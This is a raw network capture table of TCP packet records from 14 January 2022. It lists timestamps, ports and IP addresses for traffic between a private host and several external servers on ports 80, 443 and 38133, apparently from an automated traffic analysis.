Jan 14, 2022 09:25:46.381925106 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.381959915 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.381999016 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.382039070 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.382049084 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.382080078 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.382090092 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.382117987 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.382157087 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.382175922 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.382195950 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.382234097 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.382266998 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.382273912 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.382313013 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.382318020 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.382352114 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.382392883 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.382431030 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.382447958 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.382472992 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.382488966 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.382514000 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.382551908 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.382591009 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.382605076 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.382628918 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.382633924 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.382668018 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.382708073 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.382711887 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.382745028 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.382783890 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.382802963 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.382822990 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.382859945 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.382877111 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.382899046 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.382937908 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.382951975 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.382977962 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.383018017 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.383024931 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.383055925 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.383095026 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.383111954 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.383133888 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.383172035 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.383198977 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.383210897 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.383249998 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.383290052 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.383296013 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.383331060 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.383337975 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.383368969 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.383409023 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.383447886 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.383456945 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.383486986 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.383493900 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.383527040 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.383567095 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.383605957 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.383606911 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.383661985 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.383701086 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.383738041 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.383771896 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.383776903 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.383786917 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.383816004 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.383842945 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.383856058 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.383897066 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.383934021 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.383972883 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.384006977 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.384011030 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.384047985 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.384067059 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:46.384145975 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.384160995 CET	49875	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:46.402014971 CET	80	49875	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:48.872723103 CET	49876	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:48.890036106 CET	80	49876	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:48.890141964 CET	49876	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:48.897960901 CET	49876	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:48.898696899 CET	49876	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:48.915323973 CET	80	49876	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:48.915827990 CET	80	49876	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:49.021771908 CET	80	49876	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:49.021928072 CET	80	49876	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:49.022000074 CET	49876	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:49.032613993 CET	49876	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:49.049833059 CET	80	49876	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:49.105541945 CET	49877	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:49.122983932 CET	80	49877	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:49.123089075 CET	49877	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:49.123218060 CET	49877	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:49.123245955 CET	49877	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:49.140590906 CET	80	49877	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:49.242171049 CET	80	49877	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:49.242364883 CET	49877	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:49.341959000 CET	49877	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:49.359357119 CET	80	49877	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:49.450908899 CET	49878	80	192.168.2.4	141.8.194.74
Jan 14, 2022 09:25:49.523349047 CET	80	49878	141.8.194.74	192.168.2.4
Jan 14, 2022 09:25:49.523509979 CET	49878	80	192.168.2.4	141.8.194.74
Jan 14, 2022 09:25:50.355957031 CET	49878	80	192.168.2.4	141.8.194.74
Jan 14, 2022 09:25:50.428262949 CET	80	49878	141.8.194.74	192.168.2.4
Jan 14, 2022 09:25:50.428528070 CET	80	49878	141.8.194.74	192.168.2.4
Jan 14, 2022 09:25:50.428555965 CET	80	49878	141.8.194.74	192.168.2.4
Jan 14, 2022 09:25:50.428580046 CET	80	49878	141.8.194.74	192.168.2.4
Jan 14, 2022 09:25:50.428605080 CET	80	49878	141.8.194.74	192.168.2.4
Jan 14, 2022 09:25:50.428636074 CET	80	49878	141.8.194.74	192.168.2.4
Jan 14, 2022 09:25:50.428662062 CET	80	49878	141.8.194.74	192.168.2.4
Jan 14, 2022 09:25:50.428687096 CET	80	49878	141.8.194.74	192.168.2.4
Jan 14, 2022 09:25:50.428694963 CET	49878	80	192.168.2.4	141.8.194.74
Jan 14, 2022 09:25:50.428711891 CET	80	49878	141.8.194.74	192.168.2.4
Jan 14, 2022 09:25:50.428729057 CET	49878	80	192.168.2.4	141.8.194.74
Jan 14, 2022 09:25:50.428735018 CET	49878	80	192.168.2.4	141.8.194.74
Jan 14, 2022 09:25:50.428735971 CET	80	49878	141.8.194.74	192.168.2.4
Jan 14, 2022 09:25:50.428759098 CET	80	49878	141.8.194.74	192.168.2.4
Jan 14, 2022 09:25:50.428771019 CET	49878	80	192.168.2.4	141.8.194.74
Jan 14, 2022 09:25:50.428802013 CET	49878	80	192.168.2.4	141.8.194.74
Jan 14, 2022 09:25:50.501121998 CET	80	49878	141.8.194.74	192.168.2.4
Jan 14, 2022 09:25:50.501161098 CET	80	49878	141.8.194.74	192.168.2.4
Jan 14, 2022 09:25:50.501188993 CET	80	49878	141.8.194.74	192.168.2.4
Jan 14, 2022 09:25:50.501211882 CET	49878	80	192.168.2.4	141.8.194.74
Jan 14, 2022 09:25:50.501214981 CET	80	49878	141.8.194.74	192.168.2.4
Jan 14, 2022 09:25:50.501254082 CET	80	49878	141.8.194.74	192.168.2.4
Jan 14, 2022 09:25:50.501271009 CET	49878	80	192.168.2.4	141.8.194.74
Jan 14, 2022 09:25:50.501283884 CET	80	49878	141.8.194.74	192.168.2.4
Jan 14, 2022 09:25:50.501311064 CET	80	49878	141.8.194.74	192.168.2.4
Jan 14, 2022 09:25:50.501334906 CET	49878	80	192.168.2.4	141.8.194.74
Jan 14, 2022 09:25:50.501337051 CET	80	49878	141.8.194.74	192.168.2.4
Jan 14, 2022 09:25:50.501363993 CET	80	49878	141.8.194.74	192.168.2.4
Jan 14, 2022 09:25:50.501389027 CET	80	49878	141.8.194.74	192.168.2.4
Jan 14, 2022 09:25:50.501394033 CET	49878	80	192.168.2.4	141.8.194.74
Jan 14, 2022 09:25:50.501415968 CET	80	49878	141.8.194.74	192.168.2.4
Jan 14, 2022 09:25:50.501437902 CET	49878	80	192.168.2.4	141.8.194.74
Jan 14, 2022 09:25:50.501444101 CET	80	49878	141.8.194.74	192.168.2.4
Jan 14, 2022 09:25:50.501471043 CET	80	49878	141.8.194.74	192.168.2.4
Jan 14, 2022 09:25:50.501486063 CET	49878	80	192.168.2.4	141.8.194.74
Jan 14, 2022 09:25:50.501499891 CET	80	49878	141.8.194.74	192.168.2.4
Jan 14, 2022 09:25:50.501528025 CET	80	49878	141.8.194.74	192.168.2.4
Jan 14, 2022 09:25:50.501549006 CET	49878	80	192.168.2.4	141.8.194.74
Jan 14, 2022 09:25:50.501553059 CET	80	49878	141.8.194.74	192.168.2.4
Jan 14, 2022 09:25:50.501580954 CET	80	49878	141.8.194.74	192.168.2.4
Jan 14, 2022 09:25:50.501595020 CET	49878	80	192.168.2.4	141.8.194.74
Jan 14, 2022 09:25:50.501606941 CET	80	49878	141.8.194.74	192.168.2.4
Jan 14, 2022 09:25:50.501631975 CET	80	49878	141.8.194.74	192.168.2.4
Jan 14, 2022 09:25:50.501647949 CET	49878	80	192.168.2.4	141.8.194.74
Jan 14, 2022 09:25:50.501660109 CET	80	49878	141.8.194.74	192.168.2.4
Jan 14, 2022 09:25:50.501714945 CET	49878	80	192.168.2.4	141.8.194.74
Jan 14, 2022 09:25:50.573954105 CET	80	49878	141.8.194.74	192.168.2.4
Jan 14, 2022 09:25:50.573985100 CET	80	49878	141.8.194.74	192.168.2.4
Jan 14, 2022 09:25:50.574008942 CET	80	49878	141.8.194.74	192.168.2.4
Jan 14, 2022 09:25:50.574032068 CET	80	49878	141.8.194.74	192.168.2.4
Jan 14, 2022 09:25:50.574035883 CET	49878	80	192.168.2.4	141.8.194.74
Jan 14, 2022 09:25:50.574055910 CET	80	49878	141.8.194.74	192.168.2.4
Jan 14, 2022 09:25:50.574080944 CET	80	49878	141.8.194.74	192.168.2.4
Jan 14, 2022 09:25:50.574094057 CET	49878	80	192.168.2.4	141.8.194.74
Jan 14, 2022 09:25:50.574107885 CET	80	49878	141.8.194.74	192.168.2.4
Jan 14, 2022 09:25:50.574120045 CET	49878	80	192.168.2.4	141.8.194.74
Jan 14, 2022 09:25:50.574135065 CET	80	49878	141.8.194.74	192.168.2.4
Jan 14, 2022 09:25:50.574162006 CET	80	49878	141.8.194.74	192.168.2.4
Jan 14, 2022 09:25:50.574179888 CET	49878	80	192.168.2.4	141.8.194.74
Jan 14, 2022 09:25:50.574187040 CET	80	49878	141.8.194.74	192.168.2.4
Jan 14, 2022 09:25:50.574213982 CET	80	49878	141.8.194.74	192.168.2.4
Jan 14, 2022 09:25:50.574234962 CET	49878	80	192.168.2.4	141.8.194.74
Jan 14, 2022 09:25:50.574239969 CET	80	49878	141.8.194.74	192.168.2.4
Jan 14, 2022 09:25:50.574266911 CET	80	49878	141.8.194.74	192.168.2.4
Jan 14, 2022 09:25:50.574280977 CET	49878	80	192.168.2.4	141.8.194.74
Jan 14, 2022 09:25:50.678446054 CET	49879	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:50.692557096 CET	49878	80	192.168.2.4	141.8.194.74
Jan 14, 2022 09:25:50.695637941 CET	80	49879	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:50.695724964 CET	49879	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:50.695833921 CET	49879	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:50.695862055 CET	49879	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:50.712929964 CET	80	49879	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:50.816468000 CET	80	49879	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:50.816493988 CET	80	49879	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:50.816579103 CET	49879	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:50.816638947 CET	49879	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:50.833863974 CET	80	49879	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:50.844685078 CET	49880	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:50.862160921 CET	80	49880	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:50.862265110 CET	49880	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:50.862339020 CET	49880	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:50.862853050 CET	49880	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:50.879705906 CET	80	49880	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:50.880038023 CET	80	49880	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:50.981199980 CET	80	49880	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:50.981224060 CET	80	49880	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:50.981292963 CET	49880	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:50.981579065 CET	49880	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:25:50.998825073 CET	80	49880	8.209.70.0	192.168.2.4
Jan 14, 2022 09:25:51.036855936 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.036911964 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.036988974 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.037269115 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.037296057 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.087650061 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.087758064 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.089313984 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.089333057 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.089798927 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.090543985 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.133899927 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.329067945 CET	49882	38133	192.168.2.4	86.107.197.138
Jan 14, 2022 09:25:51.366807938 CET	38133	49882	86.107.197.138	192.168.2.4
Jan 14, 2022 09:25:51.366934061 CET	49882	38133	192.168.2.4	86.107.197.138
Jan 14, 2022 09:25:51.571261883 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.571314096 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.571348906 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.571450949 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.571495056 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.571521997 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.571564913 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.571605921 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.571645021 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.571691990 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.571712971 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.571729898 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.571774960 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.594717026 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.594772100 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.594840050 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.594885111 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.594908953 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.594928980 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.595226049 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.595264912 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.595300913 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.595315933 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.595334053 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.595360041 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.595778942 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.595817089 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.595865011 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.595880032 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.595899105 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.595926046 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.617705107 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.617763042 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.617904902 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.617948055 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.617970943 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.618004084 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.618035078 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.618078947 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.618115902 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.618132114 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.618149042 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.618192911 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.618227005 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.618262053 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.618302107 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.618315935 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.618333101 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.618362904 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.618372917 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.618387938 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.618428946 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.618427992 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.618452072 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.618463993 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.618486881 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.618520975 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.618659973 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.618699074 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.618733883 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.618747950 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.618765116 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.618804932 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.618952036 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.618992090 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.619026899 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.619041920 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.619153023 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.619333029 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.619370937 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.619405031 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.619415998 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.619434118 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.619465113 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.641638041 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.641680956 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.641756058 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.641801119 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.641824961 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.641890049 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.641925097 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.641938925 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.641963005 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.642038107 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.642086029 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.642123938 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.642164946 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.642183065 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.642198086 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.642235994 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.642321110 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.642373085 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.642417908 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.642431974 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.642452002 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.642502069 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.642630100 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.642668962 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.642720938 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.642738104 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.642751932 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.642782927 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.642849922 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.642889023 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.642929077 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.642946005 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.642961025 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.642992020 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.643104076 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.643142939 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.643203020 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.643215895 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.643265009 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.643275023 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.643330097 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.643368006 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.643399954 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.643414974 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.643430948 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.643460035 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.643583059 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.643619061 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.643659115 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.643676996 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.643691063 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.643735886 CET	49881	443	192.168.2.4	144.76.136.153
